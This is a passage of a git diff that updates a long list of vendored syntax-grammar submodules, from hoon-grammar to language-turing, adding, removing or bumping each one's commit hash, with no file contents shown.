new file mode 160000
index 0000000000..262617397f
--- /dev/null
+++ b/vendor/grammars/hoon-grammar
@@ -0,0 +1 @@
+Subproject commit 262617397fd058a8cc294ac7ece0b55e76638e12
diff --git a/vendor/grammars/html.tmbundle b/vendor/grammars/html.tmbundle
deleted file mode 160000
index 2e9e024a1b..0000000000
--- a/vendor/grammars/html.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 2e9e024a1b20c8bf8e68ba241359b4bbdb1045e1
diff --git a/vendor/grammars/iCalendar-sublime b/vendor/grammars/iCalendar-sublime
new file mode 160000
index 0000000000..ee1aaa8a96
--- /dev/null
+++ b/vendor/grammars/iCalendar-sublime
@@ -0,0 +1 @@
+Subproject commit ee1aaa8a96cc72c45be5dbbb02ec8f994a414e23
diff --git a/vendor/grammars/ide-tools b/vendor/grammars/ide-tools
new file mode 160000
index 0000000000..04e0bad1bf
--- /dev/null
+++ b/vendor/grammars/ide-tools
@@ -0,0 +1 @@
+Subproject commit 04e0bad1bfaf74b1a8e98eb82a2e0b945e989dd1
diff --git a/vendor/grammars/idl.tmbundle b/vendor/grammars/idl.tmbundle
index 91baae9134..6895ac67f8 160000
--- a/vendor/grammars/idl.tmbundle
+++ b/vendor/grammars/idl.tmbundle
@@ -1 +1 @@
-Subproject commit 91baae9134c2de3b6f48f902c5fb64ed8b384894
+Subproject commit 6895ac67f83c14cf3d797a35888b72c8a8f6d278
diff --git a/vendor/grammars/idris b/vendor/grammars/idris
index 1089032af6..c3a9f006d8 160000
--- a/vendor/grammars/idris
+++ b/vendor/grammars/idris
@@ -1 +1 @@
-Subproject commit 1089032af66874410fb4c2fbe8a1f73806181cfe
+Subproject commit c3a9f006d8f717c3092fdc89f559710fbe4fa6f7
diff --git a/vendor/grammars/imba-linguist-grammar b/vendor/grammars/imba-linguist-grammar
new file mode 160000
index 0000000000..e00b073c71
--- /dev/null
+++ b/vendor/grammars/imba-linguist-grammar
@@ -0,0 +1 @@
+Subproject commit e00b073c71d55d5ca4841d5e22cdc47514103a23
diff --git a/vendor/grammars/ink-tmlanguage b/vendor/grammars/ink-tmlanguage
new file mode 160000
index 0000000000..246fba563d
--- /dev/null
+++ b/vendor/grammars/ink-tmlanguage
@@ -0,0 +1 @@
+Subproject commit 246fba563dec373a1076894a4ee78b8e99ac160d
diff --git a/vendor/grammars/ionide-fsgrammar b/vendor/grammars/ionide-fsgrammar
new file mode 160000
index 0000000000..b38420f856
--- /dev/null
+++ b/vendor/grammars/ionide-fsgrammar
@@ -0,0 +1 @@
+Subproject commit b38420f8569aa662b4862beb407a02e527e866c1
diff --git a/vendor/grammars/jade-tmbundle b/vendor/grammars/jade-tmbundle
index 7c1304aa5a..f311a516bb 160000
--- a/vendor/grammars/jade-tmbundle
+++ b/vendor/grammars/jade-tmbundle
@@ -1 +1 @@
-Subproject commit 7c1304aa5a0d916a93fd296d3dd994219ecdc90f
+Subproject commit f311a516bb29296fcebfdc7da8149b1c79dfb0a1
diff --git a/vendor/grammars/jasmin-sublime b/vendor/grammars/jasmin-sublime
index 4191e4cf68..f125d02eb2 160000
--- a/vendor/grammars/jasmin-sublime
+++ b/vendor/grammars/jasmin-sublime
@@ -1 +1 @@
-Subproject commit 4191e4cf68426aa0df125a211e03c1d4105eb819
+Subproject commit f125d02eb2f1add70861516f49b060e40af946ef
diff --git a/vendor/grammars/java.tmbundle b/vendor/grammars/java.tmbundle
index 64294ae0b6..79b8b61865 160000
--- a/vendor/grammars/java.tmbundle
+++ b/vendor/grammars/java.tmbundle
@@ -1 +1 @@
-Subproject commit 64294ae0b62b64b1183c401e3803679eaddb4946
+Subproject commit 79b8b61865e40de0ff04bb16fe1076b154b9894c
diff --git a/vendor/grammars/javadoc.tmbundle b/vendor/grammars/javadoc.tmbundle
new file mode 160000
index 0000000000..5276d7a93f
--- /dev/null
+++ b/vendor/grammars/javadoc.tmbundle
@@ -0,0 +1 @@
+Subproject commit 5276d7a93f0cf53b7d425c39c6968b09ea9f2d40
diff --git a/vendor/grammars/jflex.tmbundle b/vendor/grammars/jflex.tmbundle
index 12a7a88b7a..8b5c0cefc7 160000
--- a/vendor/grammars/jflex.tmbundle
+++ b/vendor/grammars/jflex.tmbundle
@@ -1 +1 @@
-Subproject commit 12a7a88b7a34bb9490b6077ad743332acf66a456
+Subproject commit 8b5c0cefc7672ec4d0a5f6d9095256252120fa44
diff --git a/vendor/grammars/json.tmbundle b/vendor/grammars/json.tmbundle
deleted file mode 160000
index 0762cbdcb3..0000000000
--- a/vendor/grammars/json.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 0762cbdcb34dd98801b6323e75332cd4c9dbc07e
diff --git a/vendor/grammars/jte-template-syntax-highlight b/vendor/grammars/jte-template-syntax-highlight
new file mode 160000
index 0000000000..32a99356e8
--- /dev/null
+++ b/vendor/grammars/jte-template-syntax-highlight
@@ -0,0 +1 @@
+Subproject commit 32a99356e875c685496e66a0d47bde6a79f9cad9
diff --git a/vendor/grammars/kivy-language-grammer b/vendor/grammars/kivy-language-grammer
new file mode 160000
index 0000000000..d6ab305f30
--- /dev/null
+++ b/vendor/grammars/kivy-language-grammer
@@ -0,0 +1 @@
+Subproject commit d6ab305f30432a4603c547e92ab517504aaf4baf
diff --git a/vendor/grammars/kotlin-sublime-package b/vendor/grammars/kotlin-sublime-package
deleted file mode 160000
index 535967fd2c..0000000000
--- a/vendor/grammars/kotlin-sublime-package
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 535967fd2c53d299289d3b045097ea08dbe9764f
diff --git a/vendor/grammars/kusto-sublime b/vendor/grammars/kusto-sublime
new file mode 160000
index 0000000000..c908c01fe1
--- /dev/null
+++ b/vendor/grammars/kusto-sublime
@@ -0,0 +1 @@
+Subproject commit c908c01fe1e5f664a5152e371d1d432f6681f30c
diff --git a/vendor/grammars/lang-4d b/vendor/grammars/lang-4d
new file mode 160000
index 0000000000..db3ca1cd5a
--- /dev/null
+++ b/vendor/grammars/lang-4d
@@ -0,0 +1 @@
+Subproject commit db3ca1cd5acd195c00688eba642ae8ff7644dae7
diff --git a/vendor/grammars/language-agc b/vendor/grammars/language-agc
index 645d332f50..6fb398ee11 160000
--- a/vendor/grammars/language-agc
+++ b/vendor/grammars/language-agc
@@ -1 +1 @@
-Subproject commit 645d332f5077b42102ba1fb88cf360b532147508
+Subproject commit 6fb398ee1110d65f4c92c7644e8e6d896dc43300
diff --git a/vendor/grammars/language-apl b/vendor/grammars/language-apl
index 3a951edcb8..5113179d68 160000
--- a/vendor/grammars/language-apl
+++ b/vendor/grammars/language-apl
@@ -1 +1 @@
-Subproject commit 3a951edcb8449615ebe0ab95b0a0b70be8e423ad
+Subproject commit 5113179d6890c004a26426b6bfa49fd87dda2a2b
diff --git a/vendor/grammars/language-asl b/vendor/grammars/language-asl
new file mode 160000
index 0000000000..e5a5ed2109
--- /dev/null
+++ b/vendor/grammars/language-asl
@@ -0,0 +1 @@
+Subproject commit e5a5ed21094d27bfd6d5394e864b8be1f93d7922
diff --git a/vendor/grammars/language-asn1 b/vendor/grammars/language-asn1
new file mode 160000
index 0000000000..208b6d9ebe
--- /dev/null
+++ b/vendor/grammars/language-asn1
@@ -0,0 +1 @@
+Subproject commit 208b6d9ebe873180b109a286a481ca6639200d3e
diff --git a/vendor/grammars/language-babel b/vendor/grammars/language-babel
deleted file mode 160000
index 0d093e8ffe..0000000000
--- a/vendor/grammars/language-babel
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 0d093e8ffeaa80602c6f3ae86fade6a3b5f56e4d
diff --git a/vendor/grammars/language-basic b/vendor/grammars/language-basic
new file mode 160000
index 0000000000..01389176c0
--- /dev/null
+++ b/vendor/grammars/language-basic
@@ -0,0 +1 @@
+Subproject commit 01389176c0a7048f164fd7357683e8702dc93f3a
diff --git a/vendor/grammars/language-batchfile b/vendor/grammars/language-batchfile
new file mode 160000
index 0000000000..9d074abbf4
--- /dev/null
+++ b/vendor/grammars/language-batchfile
@@ -0,0 +1 @@
+Subproject commit 9d074abbf4ff32c265cdcc266297d93fa6bdd999
diff --git a/vendor/grammars/language-bh b/vendor/grammars/language-bh
new file mode 160000
index 0000000000..803ee32719
--- /dev/null
+++ b/vendor/grammars/language-bh
@@ -0,0 +1 @@
+Subproject commit 803ee327190ef7974caeba4ecbf24158efb33633
diff --git a/vendor/grammars/language-blade b/vendor/grammars/language-blade
index 50dcfb72af..877d3f66f8 160000
--- a/vendor/grammars/language-blade
+++ b/vendor/grammars/language-blade
@@ -1 +1 @@
-Subproject commit 50dcfb72af30b267c4397f21742d79e4d564642f
+Subproject commit 877d3f66f8a7bbdc933c3b4f950f520bd671a244
diff --git a/vendor/grammars/language-click b/vendor/grammars/language-click
index 1ee1fe012b..104f915f62 160000
--- a/vendor/grammars/language-click
+++ b/vendor/grammars/language-click
@@ -1 +1 @@
-Subproject commit 1ee1fe012be44973488d9f6666376ab72dbb024a
+Subproject commit 104f915f6228fb04ac9301993227b4649dc71eef
diff --git a/vendor/grammars/language-clojure b/vendor/grammars/language-clojure
index d41af28800..67b6135aa3 160000
--- a/vendor/grammars/language-clojure
+++ b/vendor/grammars/language-clojure
@@ -1 +1 @@
-Subproject commit d41af288008c6857198a3734d9f27e4f2f6650c5
+Subproject commit 67b6135aa3331afe34d5cd6dd089c2762f1953d4
diff --git a/vendor/grammars/language-closure-templates b/vendor/grammars/language-closure-templates
new file mode 160000
index 0000000000..6b2d820cbf
--- /dev/null
+++ b/vendor/grammars/language-closure-templates
@@ -0,0 +1 @@
+Subproject commit 6b2d820cbf594533ca08e600b2c0d79008d5bf2a
diff --git a/vendor/grammars/language-coffee-script b/vendor/grammars/language-coffee-script
index 9ebf474016..d2d52a5e36 160000
--- a/vendor/grammars/language-coffee-script
+++ b/vendor/grammars/language-coffee-script
@@ -1 +1 @@
-Subproject commit 9ebf474016d7e984bfe40e36d7f5ea774dc1e4b9
+Subproject commit d2d52a5e3653424b609975163ee874578ebaad5c
diff --git a/vendor/grammars/language-crystal b/vendor/grammars/language-crystal
index ec1e4991e6..48b87f541a 160000
--- a/vendor/grammars/language-crystal
+++ b/vendor/grammars/language-crystal
@@ -1 +1 @@
-Subproject commit ec1e4991e6647da9ca2c5337b795700c1f6ee7e4
+Subproject commit 48b87f541ad787ffab5d4a4a1d366f5db16bca1a
diff --git a/vendor/grammars/language-csharp b/vendor/grammars/language-csharp
deleted file mode 160000
index b3f1130b1a..0000000000
--- a/vendor/grammars/language-csharp
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit b3f1130b1ae7f0bab2763d45926033aba92fb48c
diff --git a/vendor/grammars/language-csound b/vendor/grammars/language-csound
index f5c603ac11..0adcfa7230 160000
--- a/vendor/grammars/language-csound
+++ b/vendor/grammars/language-csound
@@ -1 +1 @@
-Subproject commit f5c603ac1168972d252a60edac2fab5dd3470b40
+Subproject commit 0adcfa7230f54b116d4605efa639d870cec48605
diff --git a/vendor/grammars/language-css b/vendor/grammars/language-css
new file mode 160000
index 0000000000..9e4afce058
--- /dev/null
+++ b/vendor/grammars/language-css
@@ -0,0 +1 @@
+Subproject commit 9e4afce058b4593edf03ed1dec6033b163c678f0
diff --git a/vendor/grammars/language-cwl b/vendor/grammars/language-cwl
new file mode 160000
index 0000000000..6b84a6c2ae
--- /dev/null
+++ b/vendor/grammars/language-cwl
@@ -0,0 +1 @@
+Subproject commit 6b84a6c2ae14469595c6996cd4a93cd3bdbfc5cd
diff --git a/vendor/grammars/language-debian b/vendor/grammars/language-debian
new file mode 160000
index 0000000000..990d62ba9d
--- /dev/null
+++ b/vendor/grammars/language-debian
@@ -0,0 +1 @@
+Subproject commit 990d62ba9d66d102ba88e18579c8e2106e04aa69
diff --git a/vendor/grammars/language-dircolors b/vendor/grammars/language-dircolors
new file mode 160000
index 0000000000..6b47a8e87d
--- /dev/null
+++ b/vendor/grammars/language-dircolors
@@ -0,0 +1 @@
+Subproject commit 6b47a8e87db8f2661e3c61322bf87cff2504b09e
diff --git a/vendor/grammars/language-emacs-lisp b/vendor/grammars/language-emacs-lisp
new file mode 160000
index 0000000000..07ef9e419b
--- /dev/null
+++ b/vendor/grammars/language-emacs-lisp
@@ -0,0 +1 @@
+Subproject commit 07ef9e419b80478a0976acbc6ef9d190b07e508e
diff --git a/vendor/grammars/language-eml b/vendor/grammars/language-eml
new file mode 160000
index 0000000000..e92b829c1e
--- /dev/null
+++ b/vendor/grammars/language-eml
@@ -0,0 +1 @@
+Subproject commit e92b829c1e68710f1e2d5c039642e3a8ff06db6d
diff --git a/vendor/grammars/language-etc b/vendor/grammars/language-etc
new file mode 160000
index 0000000000..1455feb6de
--- /dev/null
+++ b/vendor/grammars/language-etc
@@ -0,0 +1 @@
+Subproject commit 1455feb6de582239b67e8bbde8086569db377e3d
diff --git a/vendor/grammars/language-faust b/vendor/grammars/language-faust
new file mode 160000
index 0000000000..93a620e7db
--- /dev/null
+++ b/vendor/grammars/language-faust
@@ -0,0 +1 @@
+Subproject commit 93a620e7db713a9858c123e5be5e880ca53856c9
diff --git a/vendor/grammars/language-fontforge b/vendor/grammars/language-fontforge
new file mode 160000
index 0000000000..36ff453e93
--- /dev/null
+++ b/vendor/grammars/language-fontforge
@@ -0,0 +1 @@
+Subproject commit 36ff453e9380c962fe87d70b3ff3b141b80de1bd
diff --git a/vendor/grammars/language-gf b/vendor/grammars/language-gf
new file mode 160000
index 0000000000..30573b85e2
--- /dev/null
+++ b/vendor/grammars/language-gf
@@ -0,0 +1 @@
+Subproject commit 30573b85e28097f561058df59512301d7ab3e978
diff --git a/vendor/grammars/language-gfm b/vendor/grammars/language-gfm
deleted file mode 160000
index 5435923521..0000000000
--- a/vendor/grammars/language-gfm
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 54359235212c921d4e09ed38575a9e9eb95635b8
diff --git a/vendor/grammars/language-gn b/vendor/grammars/language-gn
new file mode 160000
index 0000000000..4fedd4a3ab
--- /dev/null
+++ b/vendor/grammars/language-gn
@@ -0,0 +1 @@
+Subproject commit 4fedd4a3aba29d2af7849813a7d764383c05f4cc
diff --git a/vendor/grammars/language-grammars b/vendor/grammars/language-grammars
new file mode 160000
index 0000000000..daa8548cc8
--- /dev/null
+++ b/vendor/grammars/language-grammars
@@ -0,0 +1 @@
+Subproject commit daa8548cc820359b078192dc85b6c8845e9db54c
diff --git a/vendor/grammars/language-graphql b/vendor/grammars/language-graphql
deleted file mode 160000
index 037e5d46ea..0000000000
--- a/vendor/grammars/language-graphql
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 037e5d46ea7c5eeeac412192ab8a3cf72157be2d
diff --git a/vendor/grammars/language-haml b/vendor/grammars/language-haml
new file mode 160000
index 0000000000..85e8a2fc27
--- /dev/null
+++ b/vendor/grammars/language-haml
@@ -0,0 +1 @@
+Subproject commit 85e8a2fc27153bc58b5d72e84d876b00ad489c67
diff --git a/vendor/grammars/language-haskell b/vendor/grammars/language-haskell
new file mode 160000
index 0000000000..a273201bd1
--- /dev/null
+++ b/vendor/grammars/language-haskell
@@ -0,0 +1 @@
+Subproject commit a273201bd1ffd518a7700fb883d68b8fb60bcbf3
diff --git a/vendor/grammars/language-hocon b/vendor/grammars/language-hocon
new file mode 160000
index 0000000000..027579703e
--- /dev/null
+++ b/vendor/grammars/language-hocon
@@ -0,0 +1 @@
+Subproject commit 027579703e8f125e10eda3a977e79b866ad63993
diff --git a/vendor/grammars/language-hql b/vendor/grammars/language-hql
new file mode 160000
index 0000000000..8ebe7ab281
--- /dev/null
+++ b/vendor/grammars/language-hql
@@ -0,0 +1 @@
+Subproject commit 8ebe7ab281ad151e1dd732c0189d32d09db86df6
diff --git a/vendor/grammars/language-html b/vendor/grammars/language-html
new file mode 160000
index 0000000000..ee750a014a
--- /dev/null
+++ b/vendor/grammars/language-html
@@ -0,0 +1 @@
+Subproject commit ee750a014a003c3d6f10b91e3cd5f9bfa0f051e6
diff --git a/vendor/grammars/language-hy b/vendor/grammars/language-hy
deleted file mode 160000
index 93d267de4c..0000000000
--- a/vendor/grammars/language-hy
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 93d267de4cdd8a099f34fb334bae0515a9734cd9
diff --git a/vendor/grammars/language-igor b/vendor/grammars/language-igor
new file mode 160000
index 0000000000..5d242c696a
--- /dev/null
+++ b/vendor/grammars/language-igor
@@ -0,0 +1 @@
+Subproject commit 5d242c696abed0528f8c5107b031e73c87b72501
diff --git a/vendor/grammars/language-inform7 b/vendor/grammars/language-inform7
index 857864cd81..fed775fdc2 160000
--- a/vendor/grammars/language-inform7
+++ b/vendor/grammars/language-inform7
@@ -1 +1 @@
-Subproject commit 857864cd812279672284f424da4f65e3c81b6c87
+Subproject commit fed775fdc2f2a3b5057f586fe97d2013c912cf48
diff --git a/vendor/grammars/language-javascript b/vendor/grammars/language-javascript
index 83f9e51bc9..91ca16418f 160000
--- a/vendor/grammars/language-javascript
+++ b/vendor/grammars/language-javascript
@@ -1 +1 @@
-Subproject commit 83f9e51bc96b56d392e603c6efbbfba453e7c4a7
+Subproject commit 91ca16418fa3634774d954744c7f1aa2c66d3770
diff --git a/vendor/grammars/language-jison b/vendor/grammars/language-jison
new file mode 160000
index 0000000000..ce8e2c7827
--- /dev/null
+++ b/vendor/grammars/language-jison
@@ -0,0 +1 @@
+Subproject commit ce8e2c78279b242a95b87e830a60dee55357aedc
diff --git a/vendor/grammars/language-jolie b/vendor/grammars/language-jolie
new file mode 160000
index 0000000000..7abac1ef82
--- /dev/null
+++ b/vendor/grammars/language-jolie
@@ -0,0 +1 @@
+Subproject commit 7abac1ef825820dff3877cbc1d7573774df98e7c
diff --git a/vendor/grammars/language-jq b/vendor/grammars/language-jq
new file mode 160000
index 0000000000..2401bdf50a
--- /dev/null
+++ b/vendor/grammars/language-jq
@@ -0,0 +1 @@
+Subproject commit 2401bdf50a0bc4fbef95ec58bc125add5c6a7746
diff --git a/vendor/grammars/language-jsoniq b/vendor/grammars/language-jsoniq
index 7e2a77f372..89a3515410 160000
--- a/vendor/grammars/language-jsoniq
+++ b/vendor/grammars/language-jsoniq
@@ -1 +1 @@
-Subproject commit 7e2a77f3720f5a221bc9aaa2a136c26a38af3f6a
+Subproject commit 89a3515410d82ef32995a1d713ece09bd15eb840
diff --git a/vendor/grammars/language-jsonnet b/vendor/grammars/language-jsonnet
new file mode 160000
index 0000000000..a73f78b533
--- /dev/null
+++ b/vendor/grammars/language-jsonnet
@@ -0,0 +1 @@
+Subproject commit a73f78b533b744055ecd6f03d3c37a13c25bcb30
diff --git a/vendor/grammars/language-kak b/vendor/grammars/language-kak
new file mode 160000
index 0000000000..ccb3e7fbf8
--- /dev/null
+++ b/vendor/grammars/language-kak
@@ -0,0 +1 @@
+Subproject commit ccb3e7fbf8c54efc9a7527e462d98a8c8cec1196
diff --git a/vendor/grammars/language-kerboscript b/vendor/grammars/language-kerboscript
new file mode 160000
index 0000000000..fabac00467
--- /dev/null
+++ b/vendor/grammars/language-kerboscript
@@ -0,0 +1 @@
+Subproject commit fabac004678aff28f443bb363b17ad045e33b1e4
diff --git a/vendor/grammars/language-kickstart b/vendor/grammars/language-kickstart
new file mode 160000
index 0000000000..3d9e0d0165
--- /dev/null
+++ b/vendor/grammars/language-kickstart
@@ -0,0 +1 @@
+Subproject commit 3d9e0d0165948a2f135f0498c0f60c997774e13b
diff --git a/vendor/grammars/language-kotlin b/vendor/grammars/language-kotlin
new file mode 160000
index 0000000000..2a204bd8de
--- /dev/null
+++ b/vendor/grammars/language-kotlin
@@ -0,0 +1 @@
+Subproject commit 2a204bd8de2af687ea90fb0d6f8869afb07a0c28
diff --git a/vendor/grammars/language-less b/vendor/grammars/language-less
index 234fd8a37b..414bc39ae5 160000
--- a/vendor/grammars/language-less
+++ b/vendor/grammars/language-less
@@ -1 +1 @@
-Subproject commit 234fd8a37be054209a7e1726c29923f4171a2f90
+Subproject commit 414bc39ae53df0c9e660e110b2952e480ba11474
diff --git a/vendor/grammars/language-m68k b/vendor/grammars/language-m68k
new file mode 160000
index 0000000000..f7f7bf11c3
--- /dev/null
+++ b/vendor/grammars/language-m68k
@@ -0,0 +1 @@
+Subproject commit f7f7bf11c322976bd9fd00a0d94a1cfc3d1c6c8f
diff --git a/vendor/grammars/language-macaulay2 b/vendor/grammars/language-macaulay2
new file mode 160000
index 0000000000..ee398efb8d
--- /dev/null
+++ b/vendor/grammars/language-macaulay2
@@ -0,0 +1 @@
+Subproject commit ee398efb8d5a05b78b4f5c47d74a46bd63487b2f
diff --git a/vendor/grammars/language-maxscript b/vendor/grammars/language-maxscript
index 56f89d2715..d873ebb6b8 160000
--- a/vendor/grammars/language-maxscript
+++ b/vendor/grammars/language-maxscript
@@ -1 +1 @@
-Subproject commit 56f89d27153d27f3fed5f8b50fda8fa728fa2911
+Subproject commit d873ebb6b8de284daede1e6de6c6133d1913ae05
diff --git a/vendor/grammars/language-mermaid b/vendor/grammars/language-mermaid
new file mode 160000
index 0000000000..a8304d4819
--- /dev/null
+++ b/vendor/grammars/language-mermaid
@@ -0,0 +1 @@
+Subproject commit a8304d481981667aa3b14fb481ab79f32ce6efe6
diff --git a/vendor/grammars/language-meson b/vendor/grammars/language-meson
new file mode 160000
index 0000000000..9026953312
--- /dev/null
+++ b/vendor/grammars/language-meson
@@ -0,0 +1 @@
+Subproject commit 90269533120e84a9f5882346a8d646619e606b39
diff --git a/vendor/grammars/language-msl b/vendor/grammars/language-msl
new file mode 160000
index 0000000000..7dd7bb90a0
--- /dev/null
+++ b/vendor/grammars/language-msl
@@ -0,0 +1 @@
+Subproject commit 7dd7bb90a06d4ab0e0cc11674078d97d3de9c84a
diff --git a/vendor/grammars/language-ninja b/vendor/grammars/language-ninja
new file mode 160000
index 0000000000..207a60371f
--- /dev/null
+++ b/vendor/grammars/language-ninja
@@ -0,0 +1 @@
+Subproject commit 207a60371f4c86d094dcad17e12ea57d4ca0eb7f
diff --git a/vendor/grammars/language-nunjucks b/vendor/grammars/language-nunjucks
new file mode 160000
index 0000000000..d865b2a667
--- /dev/null
+++ b/vendor/grammars/language-nunjucks
@@ -0,0 +1 @@
+Subproject commit d865b2a667c53122e749b7d9698f1b2ac0258d98
diff --git a/vendor/grammars/language-pan b/vendor/grammars/language-pan
new file mode 160000
index 0000000000..fc6c535a6a
--- /dev/null
+++ b/vendor/grammars/language-pan
@@ -0,0 +1 @@
+Subproject commit fc6c535a6a5cc80ff3cdbdf63e80929ddcead893
diff --git a/vendor/grammars/language-pcb b/vendor/grammars/language-pcb
new file mode 160000
index 0000000000..264d8630ec
--- /dev/null
+++ b/vendor/grammars/language-pcb
@@ -0,0 +1 @@
+Subproject commit 264d8630ec960cca83652aeedbeb2814bdb09491
diff --git a/vendor/grammars/language-property-list b/vendor/grammars/language-property-list
new file mode 160000
index 0000000000..9af8af8ef6
--- /dev/null
+++ b/vendor/grammars/language-property-list
@@ -0,0 +1 @@
+Subproject commit 9af8af8ef69bce22965ae9613770832c059b8777
diff --git a/vendor/grammars/language-pyret b/vendor/grammars/language-pyret
new file mode 160000
index 0000000000..1c79630142
--- /dev/null
+++ b/vendor/grammars/language-pyret
@@ -0,0 +1 @@
+Subproject commit 1c796301421b38a15a6ff73a78f17deccf849b98
diff --git a/vendor/grammars/language-python b/vendor/grammars/language-python
deleted file mode 160000
index d5ae69749b..0000000000
--- a/vendor/grammars/language-python
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit d5ae69749bde41cc9da8020786106958f376ef5b
diff --git a/vendor/grammars/language-qasm b/vendor/grammars/language-qasm
new file mode 160000
index 0000000000..8d5bbadaee
--- /dev/null
+++ b/vendor/grammars/language-qasm
@@ -0,0 +1 @@
+Subproject commit 8d5bbadaee337adf94e1b0084b80aa277acdd18a
diff --git a/vendor/grammars/language-reason b/vendor/grammars/language-reason
new file mode 160000
index 0000000000..4afd6bc36e
--- /dev/null
+++ b/vendor/grammars/language-reason
@@ -0,0 +1 @@
+Subproject commit 4afd6bc36e6f726dbb11b92cdea4406a433cce61
diff --git a/vendor/grammars/language-reg b/vendor/grammars/language-reg
new file mode 160000
index 0000000000..9850e9b9da
--- /dev/null
+++ b/vendor/grammars/language-reg
@@ -0,0 +1 @@
+Subproject commit 9850e9b9da731f019874ed77394eef185bbab815
diff --git a/vendor/grammars/language-regexp b/vendor/grammars/language-regexp
new file mode 160000
index 0000000000..2e240580b7
--- /dev/null
+++ b/vendor/grammars/language-regexp
@@ -0,0 +1 @@
+Subproject commit 2e240580b7e7046718b2c495d418f3ded972d618
diff --git a/vendor/grammars/language-renpy b/vendor/grammars/language-renpy
index 883f51f4ef..3b459241a2 160000
--- a/vendor/grammars/language-renpy
+++ b/vendor/grammars/language-renpy
@@ -1 +1 @@
-Subproject commit 883f51f4ef5d310121e45d30205f96d3ade4c248
+Subproject commit 3b459241a21c563f364586fa5935a18714e3dcac
diff --git a/vendor/grammars/language-restructuredtext b/vendor/grammars/language-restructuredtext
index 7133612568..c97b54febd 160000
--- a/vendor/grammars/language-restructuredtext
+++ b/vendor/grammars/language-restructuredtext
@@ -1 +1 @@
-Subproject commit 71336125686fc61e26da1f0b6642930295b467de
+Subproject commit c97b54febdd44c7600a944e49fc188e5e024a7cb
diff --git a/vendor/grammars/language-ring b/vendor/grammars/language-ring
new file mode 160000
index 0000000000..45f3bb0af7
--- /dev/null
+++ b/vendor/grammars/language-ring
@@ -0,0 +1 @@
+Subproject commit 45f3bb0af7ce72b21cc5545673878255d720ab6c
diff --git a/vendor/grammars/language-roff b/vendor/grammars/language-roff
index 8c0b327560..ea8c30dc1e 160000
--- a/vendor/grammars/language-roff
+++ b/vendor/grammars/language-roff
@@ -1 +1 @@
-Subproject commit 8c0b327560f9e2225a6be9817ab20f84ad4f37b3
+Subproject commit ea8c30dc1efd2be2419cc37068fabe62c85c8811
diff --git a/vendor/grammars/language-rpm-spec b/vendor/grammars/language-rpm-spec
new file mode 160000
index 0000000000..b492ea8731
--- /dev/null
+++ b/vendor/grammars/language-rpm-spec
@@ -0,0 +1 @@
+Subproject commit b492ea8731340e6ada471f30c67480128661fdaf
diff --git a/vendor/grammars/language-rtf b/vendor/grammars/language-rtf
new file mode 160000
index 0000000000..e9e8e7134d
--- /dev/null
+++ b/vendor/grammars/language-rtf
@@ -0,0 +1 @@
+Subproject commit e9e8e7134dd38f3149e273718e934871f9a759e4
diff --git a/vendor/grammars/language-ruby b/vendor/grammars/language-ruby
new file mode 160000
index 0000000000..140e56aec1
--- /dev/null
+++ b/vendor/grammars/language-ruby
@@ -0,0 +1 @@
+Subproject commit 140e56aec1f911aa7d6bbc350b2d8bc3f3c7a1b2
diff --git a/vendor/grammars/language-sass b/vendor/grammars/language-sass
new file mode 160000
index 0000000000..0f7fb5de95
--- /dev/null
+++ b/vendor/grammars/language-sass
@@ -0,0 +1 @@
+Subproject commit 0f7fb5de95073f46c7b9662c873336ee1bb38f50
diff --git a/vendor/grammars/language-sed b/vendor/grammars/language-sed
new file mode 160000
index 0000000000..c55c39ef05
--- /dev/null
+++ b/vendor/grammars/language-sed
@@ -0,0 +1 @@
+Subproject commit c55c39ef05f29ad1a73a864170c06f3ee25e85f2
diff --git a/vendor/grammars/language-shellscript b/vendor/grammars/language-shellscript
index 8019ad833c..35dc1aa137 160000
--- a/vendor/grammars/language-shellscript
+++ b/vendor/grammars/language-shellscript
@@ -1 +1 @@
-Subproject commit 8019ad833cc55cec04e8fd89d492b66702c6884f
+Subproject commit 35dc1aa1371ab75ece08fd0837330eb62e1f9da9
diff --git a/vendor/grammars/language-subtitles b/vendor/grammars/language-subtitles
new file mode 160000
index 0000000000..82cf7686f8
--- /dev/null
+++ b/vendor/grammars/language-subtitles
@@ -0,0 +1 @@
+Subproject commit 82cf7686f8f15c19c80e612c8b7da57d87eeb5b7
diff --git a/vendor/grammars/language-supercollider b/vendor/grammars/language-supercollider
index 2b1da230e3..1d21ff70c8 160000
--- a/vendor/grammars/language-supercollider
+++ b/vendor/grammars/language-supercollider
@@ -1 +1 @@
-Subproject commit 2b1da230e3b606a8d841d6ceda36ee1330d96aea
+Subproject commit 1d21ff70c8830610c7fa9ec408f377fc9bce0ba4
diff --git a/vendor/grammars/language-texinfo b/vendor/grammars/language-texinfo
new file mode 160000
index 0000000000..ade70d4330
--- /dev/null
+++ b/vendor/grammars/language-texinfo
@@ -0,0 +1 @@
+Subproject commit ade70d4330447a963f23952c516c2944533f7988
diff --git a/vendor/grammars/language-ti-basic b/vendor/grammars/language-ti-basic
new file mode 160000
index 0000000000..fe790300ae
--- /dev/null
+++ b/vendor/grammars/language-ti-basic
@@ -0,0 +1 @@
+Subproject commit fe790300ae12b4092c2072595018ded18b3fdd6d
diff --git a/vendor/grammars/language-toc-wow b/vendor/grammars/language-toc-wow
index f538862fdd..ab1b774c1b 160000
--- a/vendor/grammars/language-toc-wow
+++ b/vendor/grammars/language-toc-wow
@@ -1 +1 @@
-Subproject commit f538862fdd122f249c414d4d5b76f3c8d3b4d94d
+Subproject commit ab1b774c1b7faaf20129ce51e25de64178b981b8
diff --git a/vendor/grammars/language-tsql b/vendor/grammars/language-tsql
new file mode 160000
index 0000000000..5f4272093b
--- /dev/null
+++ b/vendor/grammars/language-tsql
@@ -0,0 +1 @@
+Subproject commit 5f4272093b956ebb944ef5d61f1b6ab81a81b66b
diff --git a/vendor/grammars/language-turing b/vendor/grammars/language-turing
index 5f1d5f2f1a..3d177f94f8 160000
--- a/vendor/grammars/language-turing
+++ b/vendor/grammars/language-turing
@@ -1 +1 @@
-Subproject commit 5f1d5f2f1a47424113c92ca154b5de45b6f9200d
+Subproject commit 3d177f94f81e4e94b0a7634dd1e763d0fed8e45c
